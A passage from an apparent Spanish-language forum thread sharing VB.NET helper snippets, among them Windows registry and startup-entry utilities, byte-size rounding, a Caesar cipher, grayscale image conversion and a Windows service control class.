Debug.WriteLine(reg.ValueData.ToString)
Debug.WriteLine("")
Next reg
----------------
Find Value
----------------
Dim regInfoValueNameCol As IEnumerable(Of RegEdit.Reginfo) =
RegEdit.FindValue(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name",
matchFullValueName:=False,
ignoreCase:=True,
searchOption:=IO.SearchOption.AllDirectories)
For Each reg As RegEdit.RegInfo In regInfoValueNameCol
Debug.WriteLine(reg.RootKeyName)
Debug.WriteLine(reg.SubKeyPath)
Debug.WriteLine(reg.ValueName)
Debug.WriteLine(reg.ValueData.ToString)
Debug.WriteLine("")
Next reg
----------------
Find Value Data
----------------
Dim regInfoValueDataCol As IEnumerable(Of RegEdit.Reginfo) =
RegEdit.FindValueData(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueData:="Value Data",
matchFullData:=False,
ignoreCase:=True,
searchOption:=IO.SearchOption.AllDirectories)
For Each reg As RegEdit.RegInfo In regInfoValueDataCol
Debug.WriteLine(reg.RootKeyName)
Debug.WriteLine(reg.SubKeyPath)
Debug.WriteLine(reg.ValueName)
Debug.WriteLine(reg.ValueData.ToString)
Debug.WriteLine("")
Next reg
----------------
Get...
----------------
Dim rootKeyName As String = RegEdit.GetRootKeyName(registryPath:="HKCU\Subkey Path\")
Dim subKeyPath As String = RegEdit.GetSubKeyPath(registryPath:="HKCU\Subkey Path\")
Dim rootKey As Microsoft.Win32.RegistryKey = RegEdit.GetRootKey(registryPath:="HKCU\Subkey Path\")
----------------
Get Value Data
----------------
Dim dataObject As Object = RegEdit.GetValueData(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name")
Dim dataString As String = RegEdit.GetValueData(Of String)(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name",
registryValueOptions:=Microsoft.Win32.RegistryValueOptions.DoNotExpandEnvironmentNames)
Dim dataByte As Byte() = RegEdit.GetValueData(Of Byte())(regInfo:=regInfoByte,
registryValueOptions:=Microsoft.Win32.RegistryValueOptions.None)
Debug.WriteLine("dataByte=" & String.Join(",", dataByte))
-----------------
Set UserAccessKey
-----------------
RegEdit.SetUserAccessKey(fullKeyPath:="HKCU\Subkey Path",
userAccess:={RegEdit.ReginiUserAccess.AdministratorsFullAccess})
RegEdit.SetUserAccessKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
userAccess:={RegEdit.ReginiUserAccess.AdministratorsFullAccess,
RegEdit.ReginiUserAccess.CreatorFullAccess,
RegEdit.ReginiUserAccess.SystemFullAccess})
Código fuente:
http://pastebin.com/cNM1j8Uh
Saludos!
Este snippet sirve para añadir o eliminar de forma muuuuuy sencilla :P un archivo/aplicación al Startup de Windows mediante el registro, con características interesantes...
Modo de empleo:
WinStartupUtil.Add(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
title:="Application Title",
filePath:="C:\Application.exe",
arguments:="/Arguments",
secureModeByPass:=True)
WinStartupUtil.Remove(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
title:="Application Title",
throwOnMissingValue:=True)
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 25-March-2015
' ***********************************************************************
' <copyright file="WinStartupUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'WinStartupUtil.Add(WinStartupUtil.UserType.CurrentUser,
' WinStartupUtil.StartupType.Run,
' WinStartupUtil.KeyBehavior.System32,
' title:="Application Title",
' filePath:="C:\Application.exe",
' secureModeByPass:=True)
'WinStartupUtil.Remove(WinStartupUtil.UserType.CurrentUser,
' WinStartupUtil.StartupType.Run,
' WinStartupUtil.KeyBehavior.System32,
' title:="Application Title",
' throwOnMissingValue:=True)
#End Region
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32
#End Region
#Region " WinStartupUtil "
''' <summary>
''' Adds or removes an application to Windows Startup.
''' </summary>
Public NotInheritable Class WinStartupUtil
#Region " Properties "
''' <summary>
''' Gets the 'Run' registry subkey path.
''' </summary>
''' <value>The 'Run' registry subkey path.</value>
Public Shared ReadOnly Property RunSubKeyPath As String
Get
Return "Software\Microsoft\Windows\CurrentVersion\Run"
End Get
End Property
''' <summary>
''' Gets the 'Run' registry subkey path for x86 appications on x64 operating system.
''' </summary>
''' <value>The 'Run' registry subkey path for x86 appications on x64 operating system.</value>
Public Shared ReadOnly Property RunSubKeyPathSysWow64 As String
Get
Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
End Get
End Property
''' <summary>
''' Gets the 'RunOnce' registry subkey path.
''' </summary>
''' <value>The 'RunOnce' registry subkey path.</value>
Public Shared ReadOnly Property RunOnceSubKeyPath As String
Get
Return "Software\Microsoft\Windows\CurrentVersion\RunOnce"
End Get
End Property
''' <summary>
''' Gets the 'RunOnce' registry subkey path for x86 appications on x64 operating system.
''' </summary>
''' <value>The 'RunOnce' registry subkey path for x86 appications on x64 operating system.</value>
Public Shared ReadOnly Property RunOnceSubKeyPathSysWow64 As String
Get
Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
End Get
End Property
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies an user type.
''' </summary>
Public Enum UserType As Integer
''' <summary>
''' 'HKEY_CURRENT_USER' root key.
''' </summary>
CurrentUser = &H1
''' <summary>
''' 'HKEY_LOCAL_MACHINE' root key.
''' </summary>
AllUsers = &H2
End Enum
''' <summary>
''' Specifies a Startup type.
''' </summary>
Public Enum StartupType As Integer
''' <summary>
''' 'Run' registry subkey.
''' </summary>
Run = &H1
''' <summary>
''' 'RunOnce' registry subkey.
''' </summary>
RunOnce = &H2
End Enum
''' <summary>
''' Specifies a registry key behavior.
''' </summary>
Public Enum KeyBehavior As Integer
''' <summary>
''' System32 registry subkey.
''' </summary>
System32 = &H1
''' <summary>
''' SysWow64 registry subkey.
''' </summary>
SysWow64 = &H2
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Adds an application to Windows Startup.
''' </summary>
''' <param name="userType">The type of user.</param>
''' <param name="startupType">The type of startup.</param>
''' <param name="keyBehavior">The registry key behavior.</param>
''' <param name="title">The registry value title.</param>
''' <param name="filePath">The application file path.</param>
''' <param name="secureModeByPass">
''' If set to <c>true</c>, the file is ran even when the user logs into 'Secure Mode' on Windows.
''' </param>
''' <exception cref="System.ArgumentNullException">title or filePath</exception>
Public Shared Sub Add(ByVal userType As UserType,
ByVal startupType As StartupType,
ByVal keyBehavior As KeyBehavior,
ByVal title As String,
ByVal filePath As String,
Optional ByVal arguments As String = "",
Optional secureModeByPass As Boolean = False)
If String.IsNullOrEmpty(title) Then
Throw New ArgumentNullException("title")
ElseIf String.IsNullOrEmpty(filePath) Then
Throw New ArgumentNullException("filePath")
Else
If secureModeByPass Then
title = title.Insert(0, "*")
End If
Dim regKey As RegistryKey = Nothing
Try
regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
regKey.SetValue(title, String.Format("""{0}"" {1}", filePath, arguments), RegistryValueKind.String)
Catch ex As Exception
Throw
Finally
If regKey IsNot Nothing Then
regKey.Close()
End If
End Try
End If
End Sub
''' <summary>
''' Removes an application from Windows Startup.
''' </summary>
''' <param name="userType">The type of user.</param>
''' <param name="startupType">The type of startup.</param>
''' <param name="keyBehavior">The registry key behavior.</param>
''' <param name="title">The value name to find.</param>
''' <param name="throwOnMissingValue">if set to <c>true</c>, throws an exception on missing value.</param>
''' <exception cref="System.ArgumentNullException">title</exception>
''' <exception cref="System.ArgumentException">Registry value not found.;title</exception>
Friend Shared Sub Remove(ByVal userType As UserType,
ByVal startupType As StartupType,
ByVal keyBehavior As KeyBehavior,
ByVal title As String,
Optional ByVal throwOnMissingValue As Boolean = False)
If String.IsNullOrEmpty(title) Then
Throw New ArgumentNullException("title")
Else
Dim valueName As String = String.Empty
Dim regKey As RegistryKey = Nothing
Try
regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
If regKey.GetValue(title, defaultValue:=Nothing) IsNot Nothing Then
valueName = title
ElseIf regKey.GetValue(title.Insert(0, "*"), defaultValue:=Nothing) IsNot Nothing Then
valueName = title.Insert(0, "*")
Else
If throwOnMissingValue Then
Throw New ArgumentException("Registry value not found.", "title")
End If
End If
regKey.DeleteValue(valueName, throwOnMissingValue:=throwOnMissingValue)
Catch ex As Exception
Throw
Finally
If regKey IsNot Nothing Then
regKey.Close()
End If
End Try
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Gets a <see cref="RegistryKey"/> instance of the specified root key.
''' </summary>
''' <param name="userType">The type of user.</param>
''' <returns>A <see cref="RegistryKey"/> instance of the specified root key.</returns>
''' <exception cref="System.ArgumentException">Invalid enumeration value.;userType</exception>
Private Shared Function GetRootKey(ByVal userType As UserType) As RegistryKey
Select Case userType
Case userType.CurrentUser
Return Registry.CurrentUser
Case userType.AllUsers
Return Registry.LocalMachine
Case Else
Throw New ArgumentException("Invalid enumeration value.", "userType")
End Select ' userType
End Function
''' <summary>
''' Gets the proper registry subkey path from the parameters criteria.
''' </summary>
''' <param name="startupType">Type of the startup.</param>
''' <param name="keyBehavior">The key behavior.</param>
''' <returns>The registry subkey path.</returns>
''' <exception cref="System.ArgumentException">
''' Invalid enumeration value.;startupType or
''' Invalid enumeration value.;keyBehavior
''' </exception>
Private Shared Function GetSubKeyPath(ByVal startupType As StartupType,
ByVal keyBehavior As KeyBehavior) As String
Select Case keyBehavior
Case keyBehavior.System32
Select Case startupType
Case startupType.Run
Return RunSubKeyPath
Case startupType.RunOnce
Return RunOnceSubKeyPath
Case Else
Throw New ArgumentException("Invalid enumeration value.", "startupType")
End Select ' startupType
Case keyBehavior.SysWow64
Select Case startupType
Case startupType.Run
Return RunSubKeyPathSysWow64
Case startupType.RunOnce
Return RunOnceSubKeyPathSysWow64
Case Else
Throw New ArgumentException("Invalid enumeration value.", "startupType")
End Select ' startupType
Case Else
Throw New ArgumentException("Invalid enumeration value.", "keyBehavior")
End Select ' keyBehavior
End Function
#End Region
End Class
#End Region
El siguiente snippet sirve para "redondear" una cantidad de bytes a la unidad de tamaño más apróximada, con soporte para precisión decimal y formato personalizado.
Ejemplo de uso:
For Each unit As RoundByteInfo.SizeUnit In [Enum].GetValues(GetType(RoundByteInfo.SizeUnit))
Dim rByteInfo As New RoundByteInfo(unit)
Dim stringFormat As String = String.Format("{0} Bytes rounded to {1} {2}.",
rByteInfo.ByteValue(CultureInfo.CurrentCulture.NumberFormat),
rByteInfo.RoundedValue(decimalPrecision:=2, numberFormatInfo:=Nothing),
rByteInfo.UnitLongName)
Debug.WriteLine(stringFormat)
Next unit
Output:
1 Bytes rounded to 1,00 Bytes.
1.024 Bytes rounded to 1,00 KiloBytes.
1.048.576 Bytes rounded to 1,00 MegaBytes.
1.073.741.824 Bytes rounded to 1,00 GigaBytes.
1.099.511.627.776 Bytes rounded to 1,00 TeraBytes.
1.125.899.906.842.620 Bytes rounded to 1,00 PetaBytes.
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 07-April-2015
' ***********************************************************************
' <copyright file="RoundByteInfo.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'For Each unit As RoundByteInfo.SizeUnit In [Enum].GetValues(GetType(RoundByteInfo.SizeUnit))
'
' Dim rByteInfo As New RoundByteInfo(unit)
' Dim stringFormat As String = String.Format("{0} Bytes rounded to {1} {2}.",
' rByteInfo.ByteValue,
' rByteInfo.RoundedValue(decimalPrecision:=2),
' rByteInfo.UnitLongName)
' Debug.WriteLine(stringFormat)
'
'Next unit
#End Region
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Imports "
Imports System.Globalization
#End Region
#Region " RoundByteInfo "
''' <summary>
''' Rounds the specified byte value to its most approximated size unit.
''' </summary>
Public NotInheritable Class RoundByteInfo
#Region " Properties "
''' <summary>
''' Gets the byte value.
''' </summary>
''' <value>The byte value.</value>
Public ReadOnly Property ByteValue As Double
Get
Return Me.byteValue1
End Get
End Property
''' <summary>
''' Gets the byte value.
''' </summary>
''' <param name="numberFormatInfo">A custom <see cref="NumberFormatInfo"/> format provider.</param>
''' <value>The byte value.</value>
Public ReadOnly Property ByteValue(ByVal numberFormatInfo As NumberFormatInfo) As String
Get
If numberFormatInfo Is Nothing Then
numberFormatInfo = CultureInfo.CurrentCulture.NumberFormat
End If
Return Me.byteValue1.ToString("N0", numberFormatInfo)
End Get
End Property
''' <summary>
''' Gets the rounded byte value.
''' </summary>
''' <value>The rounded byte value.</value>
Public ReadOnly Property RoundedValue As Double
Get
Return Me.roundedValue1
End Get
End Property
''' <summary>
''' Gets the rounded value with the specified decimal precision.
''' </summary>
''' <param name="decimalPrecision">The numeric decimal precision.</param>
''' <param name="numberFormatInfo">A custom <see cref="NumberFormatInfo"/> format provider.</param>
''' <value>The rounded value with the specified decimal precision.</value>
Public ReadOnly Property RoundedValue(ByVal decimalPrecision As Integer,
Optional ByVal numberFormatInfo As NumberFormatInfo = Nothing) As String
Get
If numberFormatInfo Is Nothing Then
numberFormatInfo = CultureInfo.CurrentCulture.NumberFormat
End If
Return Me.roundedValue1.ToString("N" & decimalPrecision, numberFormatInfo)
End Get
End Property
''' <summary>
''' Gets the rounded <see cref="SizeUnit"/>.
''' </summary>
''' <value>The rounded <see cref="SizeUnit"/>.</value>
Public ReadOnly Property Unit As SizeUnit
Get
Return Me.unit1
End Get
End Property
''' <summary>
''' Gets the rounded <see cref="SizeUnit"/> short name.
''' </summary>
''' <value>The rounded <see cref="SizeUnit"/> short name.</value>
Public ReadOnly Property UnitShortName As String
Get
Return Me.unitShortName1
End Get
End Property
''' <summary>
''' Gets the rounded <see cref="SizeUnit"/> long name.
''' </summary>
''' <value>The rounded <see cref="SizeUnit"/> long name.</value>
Public ReadOnly Property UnitLongName As String
Get
Return Me.unitLongName1
End Get
End Property
''' <summary>
''' The byte value.
''' </summary>
Private byteValue1 As Double
''' <summary>
''' The rounded value.
''' </summary>
Private roundedValue1 As Double
''' <summary>
''' The rounded <see cref="SizeUnit"/>.
''' </summary>
Private unit1 As SizeUnit
''' <summary>
''' The rounded <see cref="SizeUnit"/> short name.
''' </summary>
Private unitShortName1 As String
''' <summary>
''' The rounded <see cref="SizeUnit"/> long name.
''' </summary>
Private unitLongName1 As String
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a size unit.
''' </summary>
Public Enum SizeUnit As Long
''' <summary>
''' 1 Byte (or 8 bits).
''' </summary>
[Byte] = 1L
''' <summary>
''' Byte-length of 1 KiloByte.
''' </summary>
KiloByte = [Byte] * 1024L
''' <summary>
''' Byte-length of 1 MegaByte.
''' </summary>
MegaByte = KiloByte * KiloByte
''' <summary>
''' Byte-length of 1 GigaByte.
''' </summary>
GigaByte = KiloByte * MegaByte
''' <summary>
''' Byte-length of 1 TeraByte.
''' </summary>
TeraByte = KiloByte * GigaByte
''' <summary>
''' Byte-length of 1 PetaByte.
''' </summary>
PetaByte = KiloByte * TeraByte
End Enum
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="RoundByteInfo"/> class.
''' </summary>
''' <param name="bytes">The byte value.</param>
''' <exception cref="System.ArgumentException">Value should be greater than 0.;bytes</exception>
Public Sub New(ByVal bytes As Double)
If bytes <= 0L Then
Throw New ArgumentException("Value should be greater than 0.", "bytes")
Else
Me.SetRoundByte(bytes)
End If
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="RoundByteInfo"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Rounds the specified byte value to its most approximated <see cref="SizeUnit"/>.
''' </summary>
''' <param name="bytes">The byte value.</param>
Private Sub SetRoundByte(ByVal bytes As Double)
Me.byteValue1 = bytes
Select Case bytes
Case Is >= SizeUnit.PetaByte
Me.roundedValue1 = bytes / SizeUnit.PetaByte
Me.unit1 = SizeUnit.PetaByte
Me.unitShortName1 = "PB"
Me.unitLongName1 = "PetaBytes"
Case Is >= SizeUnit.TeraByte
Me.roundedValue1 = bytes / SizeUnit.TeraByte
Me.unit1 = SizeUnit.TeraByte
Me.unitShortName1 = "TB"
Me.unitLongName1 = "TeraBytes"
Case Is >= SizeUnit.GigaByte
Me.roundedValue1 = bytes / SizeUnit.GigaByte
Me.unit1 = SizeUnit.GigaByte
Me.unitShortName1 = "GB"
Me.unitLongName1 = "GigaBytes"
Case Is >= SizeUnit.MegaByte
Me.roundedValue1 = bytes / SizeUnit.MegaByte
Me.unit1 = SizeUnit.MegaByte
Me.unitShortName1 = "MB"
Me.unitLongName1 = "MegaBytes"
Case Is >= SizeUnit.KiloByte
Me.roundedValue1 = bytes / SizeUnit.KiloByte
Me.unit1 = SizeUnit.KiloByte
Me.unitShortName1 = "KB"
Me.unitLongName1 = "KiloBytes"
Case Is >= SizeUnit.Byte, Is <= 0
Me.roundedValue1 = bytes / SizeUnit.Byte
Me.unit1 = SizeUnit.Byte
Me.unitShortName1 = "Bytes"
Me.unitLongName1 = "Bytes"
End Select
End Sub
#End Region
End Class
#End Region
Una simple función que publiqué en S.O para cifrar/descifrar un String mediante la técnica de Caesar.
Ejemplo de uso:
Dim value As String = "Hello World!"
Dim encrypted As String = CaesarEncrypt(value, shift:=15)
Dim decrypted As String = CaesarDecrypt(encrypted, shift:=15)
Debug.WriteLine(String.Format("Unmodified string: {0}", value))
Debug.WriteLine(String.Format("Encrypted string: {0}", encrypted))
Debug.WriteLine(String.Format("Decrypted string: {0}", decrypted))
Source:
''' <summary>
''' Encrypts a string using Caesar's substitution technique.
''' </summary>
''' <remarks> http://en.wikipedia.org/wiki/Caesar_cipher </remarks>
''' <param name="text">The text to encrypt.</param>
''' <param name="shift">The character shifting.</param>
''' <param name="charSet">A set of character to use in encoding.</param>
''' <returns>The encrypted string.</returns>
Public Shared Function CaesarEncrypt(ByVal text As String,
ByVal shift As Integer,
Optional ByVal charSet As String =
"abcdefghijklmnopqrstuvwxyz" &
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" &
"0123456789" &
"çñáéíóúàèìòùäëïöü" &
"ÇÑÁÉÍÓÚÀÈÌÒÙÄËÏÖÜ" &
" ,;.:-_´¨{`^[+*]ºª\!|""#$~%€&¬/()=?¿'¡}*") As String
Dim sb As New System.Text.StringBuilder With {.Capacity = text.Length}
For Each c As Char In text
Dim charIndex As Integer = charSet.IndexOf(c)
If charIndex = -1 Then
Throw New ArgumentException(String.Format("Character '{0}' not found in character set '{1}'.", c, charSet), "charSet")
Else
Do Until (charIndex + shift) < (charSet.Length)
charIndex -= charSet.Length
Loop
sb.Append(charSet(charIndex + shift))
End If
Next c
Return sb.ToString
End Function
''' <summary>
''' Decrypts a string using Caesar's substitution technique.
''' </summary>
''' <remarks> http://en.wikipedia.org/wiki/Caesar_cipher </remarks>
''' <param name="text">The encrypted text to decrypt.</param>
''' <param name="shift">The character shifting to reverse the encryption.</param>
''' <param name="charSet">A set of character to use in decoding.</param>
''' <returns>The decrypted string.</returns>
Public Shared Function CaesarDecrypt(ByVal text As String,
ByVal shift As Integer,
Optional ByVal charSet As String =
"abcdefghijklmnopqrstuvwxyz" &
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" &
"0123456789" &
"çñáéíóúàèìòùäëïöü" &
"ÇÑÁÉÍÓÚÀÈÌÒÙÄËÏÖÜ" &
" ,;.:-_´¨{`^[+*]ºª\!|""#$~%€&¬/()=?¿'¡}*") As String
Return CaesarEncrypt(text, shift, String.Join("", charSet.Reverse))
End Function
Transformar una imagen a blanco y negro:
''' <summary>
''' Transforms an image to black and white.
''' </summary>
''' <param name="img">The image.</param>
''' <returns>The black and white image.</returns>
Public Shared Function GetBlackAndWhiteImage(ByVal img As Image) As Image
Dim bmp As Bitmap = New Bitmap(img.Width, img.Height)
Dim grayMatrix As New System.Drawing.Imaging.ColorMatrix(
{
New Single() {0.299F, 0.299F, 0.299F, 0, 0},
New Single() {0.587F, 0.587F, 0.587F, 0, 0},
New Single() {0.114F, 0.114F, 0.114F, 0, 0},
New Single() {0, 0, 0, 1, 0},
New Single() {0, 0, 0, 0, 1}
})
Using g As Graphics = Graphics.FromImage(bmp)
Using ia As System.Drawing.Imaging.ImageAttributes = New System.Drawing.Imaging.ImageAttributes()
ia.SetColorMatrix(grayMatrix)
ia.SetThreshold(0.5)
g.DrawImage(img, New Rectangle(0, 0, img.Width, img.Height), 0, 0, img.Width, img.Height,
GraphicsUnit.Pixel, ia)
End Using
End Using
Return bmp
End Function
Una helper class para manejar los servicios de Windows.
Por el momento puede listar, iniciar, detener, y determinar el estado o el modo de inicio de un servicio.
(no lo he testeado mucho en profundidad)
Ejemplos de uso:
Dim svcName As String = "themes"
Dim svcDisplayName As String = ServiceUtils.GetDisplayName(svcName)
Dim svcStatus As ServiceControllerStatus = ServiceUtils.GetStatus(svcName)
Dim svcStartMode As ServiceUtils.SvcStartMode = ServiceUtils.GetStartMode(svcName)
ServiceUtils.SetStartMode(svcName, ServiceUtils.SvcStartMode.Automatic)
ServiceUtils.SetStatus(svcName, ServiceUtils.SvcStatus.Stop, wait:=True, throwOnStatusMissmatch:=True)
Source code:
' ***********************************************************************
' Author : Elektro
' Modified : 14-April-2015
' ***********************************************************************
' <copyright file="ServiceUtils.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Dim svcName As String = "themes"
'Dim svcDisplayName As String = ServiceUtils.GetDisplayName(svcName)
'Dim svcStatus As ServiceControllerStatus = ServiceUtils.GetStatus(svcName)
'Dim svcStartMode As ServiceUtils.SvcStartMode = ServiceUtils.GetStartMode(svcName)
'ServiceUtils.SetStartMode(svcName, ServiceUtils.SvcStartMode.Automatic)
'ServiceUtils.SetStatus(svcName, ServiceUtils.SvcStatus.Stop, wait:=True, throwOnStatusMissmatch:=True)
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32
Imports System.ServiceProcess
#End Region
''' <summary>
''' Contains related Windows service tools.
''' </summary>
Public NotInheritable Class ServiceUtils
#Region " Enumerations "
''' <summary>
''' Indicates the status of a service.
''' </summary>
Public Enum SvcStatus
''' <summary>
''' The service is running.
''' </summary>
Start
''' <summary>
''' The service is stopped.
''' </summary>
[Stop]
End Enum
''' <summary>
''' Indicates the start mode of a service.
''' </summary>
Public Enum SvcStartMode As Integer
''' <summary>
''' Indicates that the service has not a start mode defined.
''' Since a service should have a start mode defined, this means an error occured retrieving the start mode.
''' </summary>
Undefinied = 0
''' <summary>
''' Indicates that the service is to be started (or was started) by the operating system, at system start-up.
''' The service is started after other auto-start services are started plus a short delay.
''' </summary>
AutomaticDelayed = 1
''' <summary>
''' Indicates that the service is to be started (or was started) by the operating system, at system start-up.
''' If an automatically started service depends on a manually started service,
''' the manually started service is also started automatically at system startup.
''' </summary>
Automatic = 2 'ServiceStartMode.Automatic
''' <summary>
''' Indicates that the service is started only manually,
''' by a user (using the Service Control Manager) or by an application.
''' </summary>
Manual = 3 'ServiceStartMode.Manual
''' <summary>
''' Indicates that the service is disabled, so that it cannot be started by a user or application.
''' </summary>
Disabled = 4 ' ServiceStartMode.Disabled
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Retrieves all the services on the local computer, except for the device driver services.
''' </summary>
''' <returns>IEnumerable(Of ServiceController).</returns>
Public Shared Function GetServices() As IEnumerable(Of ServiceController)
Return ServiceController.GetServices.AsEnumerable
End Function
''' <summary>
''' Gets the name of a service.
''' </summary>
''' <param name="svcDisplayName">The service's display name.</param>
''' <returns>The service name.</returns>
''' <exception cref="ArgumentException">Any service found with the specified display name.;svcDisplayName</exception>
Public Shared Function GetName(ByVal svcDisplayName As String) As String
Dim svc As ServiceController = (From service As ServiceController In ServiceController.GetServices()
Where service.DisplayName.Equals(svcDisplayName, StringComparison.OrdinalIgnoreCase)
).FirstOrDefault
If svc Is Nothing Then
Throw New ArgumentException("Any service found with the specified display name.", "svcDisplayName")
Else
Using svc
Return svc.ServiceName
End Using
End If
End Function
''' <summary>
''' Gets the display name of a service.
''' </summary>
''' <param name="svcName">The service name.</param>
''' <returns>The service's display name.</returns>
''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
Public Shared Function GetDisplayName(ByVal svcName As String) As String
Dim svc As ServiceController = (From service As ServiceController In ServiceController.GetServices()
Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
).FirstOrDefault
If svc Is Nothing Then
Throw New ArgumentException("Any service found with the specified name.", "svcName")
Else
Using svc
Return svc.DisplayName
End Using
End If
End Function
''' <summary>
''' Gets the status of a service.
''' </summary>
''' <param name="svcName">The service name.</param>
''' <returns>The service status.</returns>
''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
Public Shared Function GetStatus(ByVal svcName As String) As ServiceControllerStatus
Dim svc As ServiceController =
(From service As ServiceController In ServiceController.GetServices()
Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
).FirstOrDefault
If svc Is Nothing Then
Throw New ArgumentException("Any service found with the specified name.", "svcName")
Else
Using svc
Return svc.Status
End Using
End If
End Function
''' <summary>
''' Gets the start mode of a service.
''' </summary>
''' <param name="svcName">The service name.</param>
''' <returns>The service's start mode.</returns>
''' <exception cref="ArgumentException">Any service found with the specified name.</exception>
''' <exception cref="Exception">Registry value "Start" not found for service.</exception>
''' <exception cref="Exception">Registry value "DelayedAutoStart" not found for service.</exception>
Public Shared Function GetStartMode(ByVal svcName As String) As SvcStartMode
Dim reg As RegistryKey = Nothing
Dim startModeValue As Integer = 0
Dim delayedAutoStartValue As Integer = 0
Try
reg = Registry.LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\" & svcName, writable:=False)
If reg Is Nothing Then
Throw New ArgumentException("Any service found with the specified name.", paramName:="svcName")
Else
startModeValue = Convert.ToInt32(reg.GetValue("Start", defaultValue:=-1))
delayedAutoStartValue = Convert.ToInt32(reg.GetValue("DelayedAutoStart", defaultValue:=0))
If startModeValue = -1 Then
Throw New Exception(String.Format("Registry value ""Start"" not found for service '{0}'.", svcName))
Return SvcStartMode.Undefinied
Else
Return DirectCast([Enum].Parse(GetType(SvcStartMode),
(startModeValue - delayedAutoStartValue).ToString), SvcStartMode)
End If
End If
Catch ex As Exception
Throw
Finally
If reg IsNot Nothing Then
reg.Dispose()
End If
End Try
End Function
''' <summary>
''' Gets the start mode of a service.
''' </summary>
''' <param name="svc">The service.</param>
''' <returns>The service's start mode.</returns>
Public Shared Function GetStartMode(ByVal svc As ServiceController) As SvcStartMode
Return GetStartMode(svc.ServiceName)
End Function
''' <summary>
''' Sets the start mode of a service.
''' </summary>
''' <param name="svcName">The service name.</param>
''' <param name="startMode">The start mode.</param>
''' <exception cref="ArgumentException">Any service found with the specified name.</exception>
''' <exception cref="ArgumentException">Unexpected value.</exception>
Public Shared Sub SetStartMode(ByVal svcName As String,
ByVal startMode As SvcStartMode)
Dim reg As RegistryKey = Nothing
Try
reg = Registry.LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\" & svcName, writable:=True)
If reg Is Nothing Then
Throw New ArgumentException("Any service found with the specified name.", paramName:="svcName")
Else
Select Case startMode
Case SvcStartMode.AutomaticDelayed
reg.SetValue("DelayedAutoStart", 1, RegistryValueKind.DWord)
reg.SetValue("Start", SvcStartMode.Automatic, RegistryValueKind.DWord)
Case SvcStartMode.Automatic, SvcStartMode.Manual, SvcStartMode.Disabled
reg.SetValue("DelayedAutoStart", 0, RegistryValueKind.DWord)
reg.SetValue("Start", startMode, RegistryValueKind.DWord)
Case Else
Throw New ArgumentException("Unexpected value.", paramName:="startMode")
End Select
End If
Catch ex As Exception
Throw
Finally
If reg IsNot Nothing Then
reg.Dispose()
End If
End Try
End Sub
''' <summary>
''' Sets the start mode of a service.
''' </summary>
''' <param name="svc">The service.</param>
''' <param name="startMode">The start mode.</param>
Public Shared Sub SetStartMode(ByVal svc As ServiceController,
ByVal startMode As SvcStartMode)
SetStartMode(svc.ServiceName, startMode)
End Sub
''' <summary>
''' Sets the status of a service.
''' </summary>
''' <param name="svcName">The service name.</param>
''' <param name="status">The desired service status.</param>
''' <param name="wait">if set to <c>true</c> waits for the status change completition.</param>
''' <param name="throwOnStatusMissmatch">
''' If set to <c>true</c> throws an error when attempting to start a service that is started,
''' or attempting to stop a service that is stopped.
''' </param>
''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
''' <exception cref="ArgumentException">Cannot start service because it is disabled.</exception>
''' <exception cref="ArgumentException">Cannot start service because a dependant service is disabled.</exception>
''' <exception cref="ArgumentException">The service is already running or pendng to run it.</exception>
''' <exception cref="ArgumentException">The service is already stopped or pendng to stop it.</exception>
''' <exception cref="ArgumentException">Unexpected enumeration value.</exception>
''' <exception cref="Exception"></exception>
Public Shared Sub SetStatus(ByVal svcName As String,
ByVal status As SvcStatus,
Optional wait As Boolean = False,
Optional ByVal throwOnStatusMissmatch As Boolean = False)
Dim svc As ServiceController = Nothing
Try
svc = (From service As ServiceController In ServiceController.GetServices()
Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
).FirstOrDefault
If svc Is Nothing Then
Throw New ArgumentException("Any service found with the specified name.", "svcName")
ElseIf GetStartMode(svc) = SvcStartMode.Disabled Then
Throw New Exception(String.Format("Cannot start or stop service '{0}' because it is disabled.", svcName))
Else
Select Case status
Case SvcStatus.Start
Select Case svc.Status
Case ServiceControllerStatus.Stopped,
